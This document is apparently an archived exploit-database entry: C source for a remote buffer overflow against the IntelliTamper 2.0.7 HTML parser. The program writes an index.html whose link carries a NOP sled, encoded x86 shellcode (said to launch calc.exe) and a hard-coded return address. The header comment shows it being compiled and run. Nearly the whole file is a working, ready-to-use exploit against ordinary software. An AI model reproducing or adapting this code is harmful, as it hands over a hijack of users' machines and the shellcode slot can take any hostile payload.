/*
IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow
Just a C version of Guido Landi's discovery.
Written by r0ut3r (writ3r [at] gmail.com)
kit:/home/r0ut3r/public_html # gcc -o intell intell.c
kit:/home/r0ut3r/public_html # ./intell
[+] Building payload
[+] Success writing to index.html
kit:/home/r0ut3r/public_html #
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
FILE *fp;
char payload[491]; /* 464 */
/* calc.exe shellcode x86/alpha_mixed succeeded, final size 344 */
unsigned char shellcode[] =
"\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c"
"\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b"
"\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50"
"\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50"
"\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49"
"\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44"
"\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45"
"\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f"
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a"
"\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31"
"\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c"
"\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b"
"\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50"
"\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58"
"\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46"
"\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57"
"\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42"
"\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43"
"\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41";
char eip[4] = "\x23\x44\x06\x7d";
char html[16] = "<a href='http://";
char chtml[11] = "'>yahhh</a>";
fp = fopen("index.html", "wb");
if (fp == NULL)
{
perror("Failed opening index.html\n");
return EXIT_FAILURE;
}
printf("[+] Building payload\n");
memcpy(payload, html, sizeof(html));
memset(payload+sizeof(html), 0x90, 116);
memcpy(payload+sizeof(html)+116, shellcode, sizeof(shellcode));
memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1, eip, sizeof(eip));
memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1+sizeof(eip), chtml, sizeof(chtml));
fprintf(fp, "%s", payload);
if (fclose(fp) == 0)
printf("[+] Success writing to index.html\n");
else
printf("[-] Failed writing to index.html\n");
return 0;
}
// milw0rm.com [2008-07-23]